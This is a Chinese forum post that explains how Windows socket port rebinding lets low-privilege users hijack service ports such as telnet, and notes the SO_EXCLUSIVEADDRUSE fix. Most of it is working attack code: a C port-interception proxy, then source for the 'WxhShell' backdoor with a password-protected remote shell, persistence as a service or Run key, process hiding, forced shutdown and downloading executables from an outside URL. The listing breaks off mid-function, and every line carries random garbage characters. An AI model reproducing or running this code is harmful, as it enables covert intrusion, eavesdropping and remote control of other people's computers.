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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RE/~#k@a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GhIKvX_N  
 7*?}:  
  saddr.sin_family = AF_INET; E<Q f!2s$  
RH&~+5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U4b0*`o  
(w}H]LQ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); P7{gfiB  
Uk6HQQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 x;8A!8w  
AD|2q M))  
  这意味着什么?意味着可以进行如下的攻击: ~x ]jB  
70eb]\%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R~S;sJ& c  
&FF"nE*  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [rSR:V?"a  
 [D<1 CF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C,NJb+J  
C,v(:ZE$J7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j 4^97  
!;KCU^9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;,?KI$K  
t},/}b  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %>g3~yl  
`#;e)1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 m>MB7,C;N  
,uSQNre\j  
  #include BZ?.D_bu  
  #include # ?/<  
  #include ' <@3i[M  
  #include    SUU !7Yd|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N _86t  
  int main() H*$jc\ dC  
  { d'G0m9u2  
  WORD wVersionRequested; 6jC`8l:  
  DWORD ret; Bg|5KOnd  
  WSADATA wsaData; Aj+2;]M  
  BOOL val; V7Ek-2M  
  SOCKADDR_IN saddr; iqe%=%ZR  
  SOCKADDR_IN scaddr; V4KMOYqm  
  int err; 4*Hgv:0?kI  
  SOCKET s; 0 g?z&?  
  SOCKET sc; '|Kmq5)  
  int caddsize; .O0 +H+  
  HANDLE mt; pQtJc*[!  
  DWORD tid;   wfq7ob4^  
  wVersionRequested = MAKEWORD( 2, 2 ); /#m=*&!CB  
  err = WSAStartup( wVersionRequested, &wsaData ); &L,nqc\3D5  
  if ( err != 0 ) { O8j_0  
  printf("error!WSAStartup failed!\n"); )'6DNa[y  
  return -1; t+1 %RyKFB  
  } $Z\.-QE\  
  saddr.sin_family = AF_INET; J /f  
   JNJ=e,O,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e-"nB]n^/  
H?)w!QX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); UHTvCc  
  saddr.sin_port = htons(23); {;:/-0s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IHcD*zQ  
  { xT+zU}z  
  printf("error!socket failed!\n"); B#.L  
  return -1; 6y9t(m  
  } !g(KK|`,m  
  val = TRUE; QT>`^/]d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U8LtG/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2gCX}4^3b  
  { er!DYv  
  printf("error!setsockopt failed!\n"); :[hgxJu+  
  return -1; |~X ;1j!  
  } S|]X'f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b-{=s +:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (4dhuT  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K0 }p i +=  
cM$P`{QrM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8>WC5%f*  
  { dAkgR~  
  ret=GetLastError(); @jsDq Ln  
  printf("error!bind failed!\n"); (?(zH3  
  return -1; Z(ACc9k6:'  
  } `O[};3O&  
  listen(s,2); Cif>7]M  
  while(1) LYaZ1*  
  { /oR<A  
  caddsize = sizeof(scaddr); oBzfbg8p  
  //接受连接请求 H\:lxR^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |Y[wzDYV  
  if(sc!=INVALID_SOCKET) 7 D^gMN%p  
  { [`c^ 4 E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zY"1drE>G  
  if(mt==NULL) /qy-qUh3h  
  { pJt,9e6  
  printf("Thread Creat Failed!\n"); JSTuXW  
  break; .2v_H5<  
  } *U]V@;XF  
  } "F.;Dv9V[0  
  CloseHandle(mt); EuyXgK>g  
  } OG~6L4"  
  closesocket(s); 37|&?||  
  WSACleanup(); ak |WW]R  
  return 0; EioB%f3  
  }   g'V>_u#(  
  DWORD WINAPI ClientThread(LPVOID lpParam) -1U D0(  
  { .tzG_  
  SOCKET ss = (SOCKET)lpParam; :]^P1sH[  
  SOCKET sc; [5+}rwm&W  
  unsigned char buf[4096]; QUQu^p  
  SOCKADDR_IN saddr; ~XWQhIAM4  
  long num; .QN>z-YA6:  
  DWORD val; \0vr>C  
  DWORD ret; wT:b\km:!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t-0a7 1#e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -< &D  
  saddr.sin_family = AF_INET; cxr=k%~}J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); INi]R^-  
  saddr.sin_port = htons(23); I.94v #r  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -U/c\-~fU  
  { V&\[)D'c  
  printf("error!socket failed!\n"); +(1zH-^.  
  return -1; )XzI #iQ  
  } X  .5aMm  
  val = 100; H P3lz,d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w6W}"Uw  
  { /|eA9 ]  
  ret = GetLastError(); (KF=On;=Y  
  return -1; twlk-2yT!  
  } v4.#;F.\m  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oWC@w  
  { D(H>R&b!  
  ret = GetLastError(); h?;T7|^  
  return -1; TG+VEL |T  
  } 4*cU<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #[`:'e  
  { vWf; 'j  
  printf("error!socket connect failed!\n"); < VSA  
  closesocket(sc); @qnD=mE  
  closesocket(ss); 6w(6}m.L^  
  return -1; U}PiY"S<  
  } x*nSHb  
  while(1) !qN||m CH  
  { "G@g" gP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 OSf}Q=BL  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *Ie7{EhJ'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $+3}po\  
  num = recv(ss,buf,4096,0); 0Pe>Es|^A#  
  if(num>0) W>p-u6u%E|  
  send(sc,buf,num,0); /O^RF}  
  else if(num==0)  )8UWhl=  
  break; AbYqf%~7`l  
  num = recv(sc,buf,4096,0); .On|uC)!  
  if(num>0) o17ekML  
  send(ss,buf,num,0); LM-J !44  
  else if(num==0) 8qEVOZjV&  
  break; p n.T~"%  
  } '_/Bp4i  
  closesocket(ss); fmiz,$O4?  
  closesocket(sc); x>*Drm 7  
  return 0 ; qASqscO  
  } uec!RKE  
x\s|n{  
^,;z|f'% *  
========================================================== , eZ1uBI?  
Qi LEL  
下边附上一个代码,,WXhSHELL D6G oa(!9d  
eQD)$d_5  
========================================================== Y>EzTV  
w`il=ZAC  
#include "stdafx.h" 0 Emr<n  
q"<acqK  
#include <stdio.h> (Xq)py9  
#include <string.h> .G)(0z("s  
#include <windows.h> -:Ia^{YN  
#include <winsock2.h> cg m~>  
#include <winsvc.h> f/Hm{<BY  
#include <urlmon.h> 0;:.B j  
Wr3mQU  
#pragma comment (lib, "Ws2_32.lib") cnFI &,FM  
#pragma comment (lib, "urlmon.lib") \e'R @  
<p\6AnkMr  
#define MAX_USER   100 // 最大客户端连接数 g)_e]&  
#define BUF_SOCK   200 // sock buffer |*'cF-lp6v  
#define KEY_BUFF   255 // 输入 buffer v {jQek4  
.Jrqm  
#define REBOOT     0   // 重启 ghX|3lI\q  
#define SHUTDOWN   1   // 关机 0DmMG  
(h5'9r  
#define DEF_PORT   5000 // 监听端口 8rMX9qTO@  
I>[RqG  
#define REG_LEN     16   // 注册表键长度 =|%Cu&  
#define SVC_LEN     80   // NT服务名长度 -sjd&)~S[  
pm\x~3jHs  
// 从dll定义API -"h;uDz|z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n;$5Cq!v=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ?kZTI (  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {FIXc^m'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %QKRFPYhS  
k-HCeZ  
// wxhshell配置信息 :)_~w4&  
struct WSCFG { _:-ha?W$;y  
  int ws_port;         // 监听端口 LX@/RAd vz  
  char ws_passstr[REG_LEN]; // 口令 A Q+]|XYo_  
  int ws_autoins;       // 安装标记, 1=yes 0=no _-9@qe  
  char ws_regname[REG_LEN]; // 注册表键名 ?}RSwl  
  char ws_svcname[REG_LEN]; // 服务名 6C]1Q.f;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S`"LV $8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M\Z6$<H?U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j^;I3_P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z6?)3'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D!.+Y-+Xzu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P~G1EK|4  
-#2)?NkeE  
}; @:U+9[  
YE=q:Bv  
// default Wxhshell configuration +AHUp)  
struct WSCFG wscfg={DEF_PORT, W0k0$\iX  
    "xuhuanlingzhe", <0QH<4  
    1, =ZDAeVz3w  
    "Wxhshell", sm\f0P!rv  
    "Wxhshell", F^5?\  
            "WxhShell Service", sp5eVAd  
    "Wrsky Windows CmdShell Service", Tjl:|F8  
    "Please Input Your Password: ", 8&Oa_{1+Q  
  1, nD)K}4  
  "http://www.wrsky.com/wxhshell.exe", P4F3Dc  
  "Wxhshell.exe" n%k!vJ)]  
    }; %c [F;ug  
BwBm[jtP  
// 消息定义模块 YQpSlCCo 3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h~p>re  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o4%y>d)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g"?Y+j  
char *msg_ws_ext="\n\rExit."; 59%tXiO  
char *msg_ws_end="\n\rQuit."; wmTq` XH)  
char *msg_ws_boot="\n\rReboot..."; l"!Ko G7  
char *msg_ws_poff="\n\rShutdown..."; p8\zG|b5  
char *msg_ws_down="\n\rSave to "; PC[c/CoD  
B';6r4I-  
char *msg_ws_err="\n\rErr!"; XP1~d>j  
char *msg_ws_ok="\n\rOK!"; XvE9 b5}  
QR Ei7@t  
char ExeFile[MAX_PATH]; 1XnZy5fEo  
int nUser = 0; -,+q#F  
HANDLE handles[MAX_USER]; :^fcC[$K  
int OsIsNt; "7v@Rye  
2con[!U  
SERVICE_STATUS       serviceStatus; m <w "T7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ojt`^r!V  
 wAz&"rS  
// 函数声明 qR8u$2}NY  
int Install(void); +{/*z  
int Uninstall(void); Q^q1 ns;r  
int DownloadFile(char *sURL, SOCKET wsh); ~",`,ZXQy  
int Boot(int flag); .'rW.'Ft  
void HideProc(void); ?@6/E<-Z$  
int GetOsVer(void); 3T e^  
int Wxhshell(SOCKET wsl); 9:!gI|C  
void TalkWithClient(void *cs); Z-U-N  
int CmdShell(SOCKET sock); '2laTl]`  
int StartFromService(void); GN0`rEh  
int StartWxhshell(LPSTR lpCmdLine); A5H3%o(6k  
#fL8Kq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \igmv]G%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G <uyin>  
GQl$yZaK{  
// 数据结构和表定义 Y= ]dvc  
SERVICE_TABLE_ENTRY DispatchTable[] = GHHav12][  
{ !Yw3 d   
{wscfg.ws_svcname, NTServiceMain}, TD9;kN1`  
{NULL, NULL} Xu>r~^w=S  
}; MzP7Py 8.  
OZIW_'Wm/  
// 自我安装 24/XNSE,-  
int Install(void) Rt{B(L.?<  
{ oh KCdT~  
  char svExeFile[MAX_PATH]; &E4 0* (C  
  HKEY key; 8>.J1C  
  strcpy(svExeFile,ExeFile); P{5-Mx!{&  
6}(J6T46M[  
// 如果是win9x系统,修改注册表设为自启动 \2(SB  
if(!OsIsNt) { W0C@9&pn6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J8"[6vId~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LS5vW|]w  
  RegCloseKey(key); C-?%uF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q3 eM2i8Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (^5 7UmFv]  
  RegCloseKey(key); e+]6OV&+  
  return 0; m "M("%  
    } ncX/L[L  
  } Kv rX{F=  
} cPl`2&p  
else { ) gzR=9l  
hx f'5uc  
// 如果是NT以上系统,安装为系统服务 8srBHslI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b-Z4 Jo G  
if (schSCManager!=0) wBInq~K_  
{ xxm%u9@s  
  SC_HANDLE schService = CreateService Wfz\ `y  
  ( gxT4PQDy  
  schSCManager, s%!`kWVJ.  
  wscfg.ws_svcname, /%I7Vc  
  wscfg.ws_svcdisp, N~?{UOZd  
  SERVICE_ALL_ACCESS, ; h`0ir4[A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )m&U#S _;  
  SERVICE_AUTO_START, H%1$,]F  
  SERVICE_ERROR_NORMAL, v$)q($}p  
  svExeFile, Yyfq  
  NULL, 0}:2Q#  
  NULL, Y(+^;Y3U  
  NULL, c\q   
  NULL, r,]#b[:.s|  
  NULL ;),BW g  
  ); e } *0ghKI  
  if (schService!=0) ~=wC wA|1  
  { ^@"H1  
  CloseServiceHandle(schService); m rJQ#  
  CloseServiceHandle(schSCManager); +@Ad1fJi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Pa^A$fy\  
  strcat(svExeFile,wscfg.ws_svcname); mC z,2K|^~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ph}j[Co  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8$c bVMjh  
  RegCloseKey(key); kwud?2E  
  return 0; a6h>=uT [  
    } e2+BWKaU  
  } =X!IH d0  
  CloseServiceHandle(schSCManager); e*  
} om3`[r[{  
} NJ MJ  
gUAxyV  
return 1; Z Dhx5SL&  
} JTqq0OD}  
Gs*G<P"  
// 自我卸载 3pXLSdxB  
int Uninstall(void) a P&D9%5  
{ }6-ZE9H-v  
  HKEY key; ZL< MC~  
\#rO!z d  
if(!OsIsNt) { CN2_bz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *<'M!iRC  
  RegDeleteValue(key,wscfg.ws_regname); o]LRzI  
  RegCloseKey(key); / EMJSr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "{E q hR~  
  RegDeleteValue(key,wscfg.ws_regname); vZ#!uU^a:  
  RegCloseKey(key); f7hXQ|$  
  return 0; tQ~WEC  
  } \]Dt4o*yZ  
} I<=Df5M  
} d vOJW".  
else { i1oKrRv  
e.o;eD}"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vU*x2fVb}  
if (schSCManager!=0) W"Jn(:&  
{ #Rew [\$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); e9^2,:wLB  
  if (schService!=0) 1P]de'-`j  
  { )2Hff.  
  if(DeleteService(schService)!=0) { nd{R 9B  
  CloseServiceHandle(schService); ;$BdP7i:  
  CloseServiceHandle(schSCManager); DXQi-+?  
  return 0; %g cc y|  
  } S*"u/b;  
  CloseServiceHandle(schService); L fl-!1  
  } ?`zgq>R}w[  
  CloseServiceHandle(schSCManager); 1j\aH&)GH  
} _ jAo:K_Z  
} =C f(B<u  
me\cLFw  
return 1; ]Y.deVw3i  
} fA! 6sB  
q6wr=OWD  
// 从指定url下载文件 15zrrU~D  
int DownloadFile(char *sURL, SOCKET wsh) y_}SK6{  
{ o0p T6N)  
  HRESULT hr; WA)Ij(M8 p  
char seps[]= "/"; z{BA4sn  
char *token; m_!U}!  
char *file; NNa1EXZ[  
char myURL[MAX_PATH]; 2N~ E' 25  
char myFILE[MAX_PATH]; z}.D" P+  
cX At :m  
strcpy(myURL,sURL); *C,N'M<u  
  token=strtok(myURL,seps); /.=r>a }l  
  while(token!=NULL) 2 [!Mx&^  
  { P` '$  
    file=token; OK`Z@X_,bW  
  token=strtok(NULL,seps); D22Lu ;E  
  } q2_`v5t  
U&y`-@A4  
GetCurrentDirectory(MAX_PATH,myFILE); RP(/x+V  
strcat(myFILE, "\\"); d<@Mdo<;?g  
strcat(myFILE, file); T+RZ  
  send(wsh,myFILE,strlen(myFILE),0); 3SARr>HRyI  
send(wsh,"...",3,0); T 4|jz<iK]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); agd)ag4"[u  
  if(hr==S_OK) F* #h9 Y  
return 0; sIm#_+Y  
else I}v]Zm9  
return 1; HP a|uDVv  
9DEh*%q  
} jxy1  
3ViM ?p  
// 系统电源模块 5#_tE<uM  
int Boot(int flag) k|O,1  
{ b Dg9P^<n  
  HANDLE hToken; G^Xd-7 GQ  
  TOKEN_PRIVILEGES tkp; P Tnac  
+zRh fIJHH  
  if(OsIsNt) { %{STz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C=VIT*=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 00M`%c/  
    tkp.PrivilegeCount = 1; p\U*;'hv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DMkhbo&+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Qg0vG]  
if(flag==REBOOT) { <{019Oa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ygvzdYd  
  return 0; !*P&Eat  
} 9NWloK6bT  
else { WL\^F#:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  q{X T  
  return 0; lIuXo3  
} %yaG,;>U  
  } DuF7HTN[K  
  else { M^ 5e~y  
if(flag==REBOOT) { vF>gU_gz.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Yg6I&#f7&  
  return 0; +p?hGoF=  
} m.V,I}J.q  
else { f[qPG&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ypA:  P  
  return 0; IT1P Pm  
} nC~fvyd<P  
} :l~EE!  
~|R[O^9B  
return 1; 5.k}{{+  
} >38 Lt\  
 C6)R#  
// win9x进程隐藏模块 a9[<^  
void HideProc(void) 2cjEex:&  
{ Bn-J_-%M  
+a]j[#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *mV&K\_  
  if ( hKernel != NULL ) SOH%Q_  
  { d~<QAh#rG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bm}+}CJ@#0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H'h#wV`(  
    FreeLibrary(hKernel); Q>IH``1*e  
  } ih!~G5Xi9i  
1#D<ZN  
return; A7(M,4`6  
} d +xA:  
P Ey/k.  
// 获取操作系统版本 1CiA 8  
int GetOsVer(void) S$K}v,8.sr  
{ a*Jn#Mx<M  
  OSVERSIONINFO winfo; QSmJ`Bm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [tm[,VfA^  
  GetVersionEx(&winfo); "=ElCaP}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a)S(p1BGg  
  return 1; +\U]p_Fo3  
  else h^d\xn9GT#  
  return 0; ;>C9@S+  
} S*rO0s:  
"!a`ygqpT  
// 客户端句柄模块 +@>:%yX  
int Wxhshell(SOCKET wsl) Tc,$TCF  
{ }3sN+4  
  SOCKET wsh; gV.f*E1C  
  struct sockaddr_in client; 3"vRK5Bf  
  DWORD myID; SW;HjQ>V  
!3HsI| $<G  
  while(nUser<MAX_USER) Wo2 v5-  
{ WQ.i$ID/  
  int nSize=sizeof(client); 9ET/I$n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G)~MbesJ  
  if(wsh==INVALID_SOCKET) return 1; :;_#5  
u0'i!@795  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); UnjNR[=  
if(handles[nUser]==0) C1D ! V:  
  closesocket(wsh); {WKOJG+.  
else I <xy?{s  
  nUser++; qM*S*,s  
  } .d e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IW]*i?L  
YJc%h@_=]  
  return 0; '&)D>@g  
} QnP{$rT  
L^jaBl  
// 关闭 socket Dh?vU~v(6  
void CloseIt(SOCKET wsh) W[GQ[h  
{ _^b@>C>O  
closesocket(wsh); +]_nbWL(%  
nUser--; u x#. :C|  
ExitThread(0); [NZ-WU&&LP  
} WzlS^bZ  
-^R b7 g-  
// 客户端请求句柄 eB7>t@ED  
void TalkWithClient(void *cs) & L3UlL  
{ t5n2eOy~T  
qf)C%3gXI  
  SOCKET wsh=(SOCKET)cs;  'X|v+ ?  
  char pwd[SVC_LEN]; [='p!7 z  
  char cmd[KEY_BUFF]; aSTFcz"  
char chr[1]; Ny B&uf  
int i,j; y]J3h Ks  
.P8-~?&M  
  while (nUser < MAX_USER) { mw ?{LT  
D-~G|8g  
if(wscfg.ws_passstr) { -$OD}5ku#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7:h<`_HT(X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gxo# !  
  //ZeroMemory(pwd,KEY_BUFF); n+X1AOE[L  
      i=0;  :4{Qh  
  while(i<SVC_LEN) { v8>!Gft  
o|0 '0P  
  // 设置超时 Ogd8!'\  
  fd_set FdRead; ;C+cE#   
  struct timeval TimeOut; e/ WBgiLw  
  FD_ZERO(&FdRead); U|9U(il  
  FD_SET(wsh,&FdRead); 'HJ/2-=  
  TimeOut.tv_sec=8; *$JB`=Q  
  TimeOut.tv_usec=0; D7M0NEY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^t`f1rGR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )&XnM69~b  
q%DVDq( z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q5hb0O%a  
  pwd=chr[0]; 7F=2t_2O  
  if(chr[0]==0xd || chr[0]==0xa) { P&,hiGTDi  
  pwd=0; #jhQBb4?,  
  break; ;v%Q8  
  } g>UBZA4  
  i++; 'N*!>mZ<  
    } UBL(Nr  
IvFR <n  
  // 如果是非法用户,关闭 socket //~POm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9jqO/_7R+  
} 6aRGG+H  
P$6W`^D Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2rF?Q?$,B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -g9^0V`G  
mMV2h|W   
while(1) { dFx2>6AZt  
f V*}c`  
  ZeroMemory(cmd,KEY_BUFF); Go-wAJ>  
Y+!Ouc!$  
      // 自动支持客户端 telnet标准   wH+FFXGJs  
  j=0; 4=~ 9v  
  while(j<KEY_BUFF) { *Ao2j;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /tG5!l  
  cmd[j]=chr[0]; B%TXw#|  
  if(chr[0]==0xa || chr[0]==0xd) { P8"6"}B;T  
  cmd[j]=0; qbEKp HnB  
  break; /3OC7!~;fM  
  } U?JiVxE^  
  j++; 4[2=L9MIo~  
    } mXQl;  
 \C!%IR  
  // 下载文件 G(:s-x ig6  
  if(strstr(cmd,"http://")) { *Kp}B}}J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KbXbT  
  if(DownloadFile(cmd,wsh)) dFd lB `L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*YC7f  
  else u)tHOV>&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N[0 xqQ  
  } a3Z :C!|O'  
  else { y>>vGU;  
qUifw @  
    switch(cmd[0]) { _{lx*dq  
  ;,<r|.6U  
  // 帮助 ".Lhte R?  
  case '?': { ay=KfY5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); gCg4;b6g  
    break; @YEw^J~  
  } g&{gD^9)4  
  // 安装 )?F $-~7  
  case 'i': { NQDLI 1o  
    if(Install()) BPwI8\V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f<g>dQlE  
    else jK\V|5k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I/^q+l.=`{  
    break; )w Z49>Y  
    } Y8D7<V~Md  
  // 卸载 p.@0=)  
  case 'r': { uo]Hi^r.l  
    if(Uninstall()) S9 $o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jN31\)/i  
    else =''mpIg(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nu#aa#ex>  
    break; _L?v6MTj  
    } @*CAn(@#N  
  // 显示 wxhshell 所在路径 ;[;)P tFz\  
  case 'p': { LN@lrC7X  
    char svExeFile[MAX_PATH]; C$$"{FfgU"  
    strcpy(svExeFile,"\n\r"); l5{(z;xM  
      strcat(svExeFile,ExeFile); -@YVe:$%b  
        send(wsh,svExeFile,strlen(svExeFile),0); V<7R_}^_7  
    break; zj~8>QnKk  
    } Zx}N Fcn  
  // 重启 Gojl0?  
  case 'b': { +L^A:}L(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (iHf9*i CV  
    if(Boot(REBOOT)) B@ZqJw9J[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @o}1n?w  
    else { -s9Y(>  
    closesocket(wsh); 1 ;cv-W  
    ExitThread(0); r{pI-$  
    } aeG#: Ln+{  
    break; ML=hKwCA  
    } 9 eSN+q  
  // 关机 t7{L[C$  
  case 'd': { RnMBGxa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "WF( 6z#  
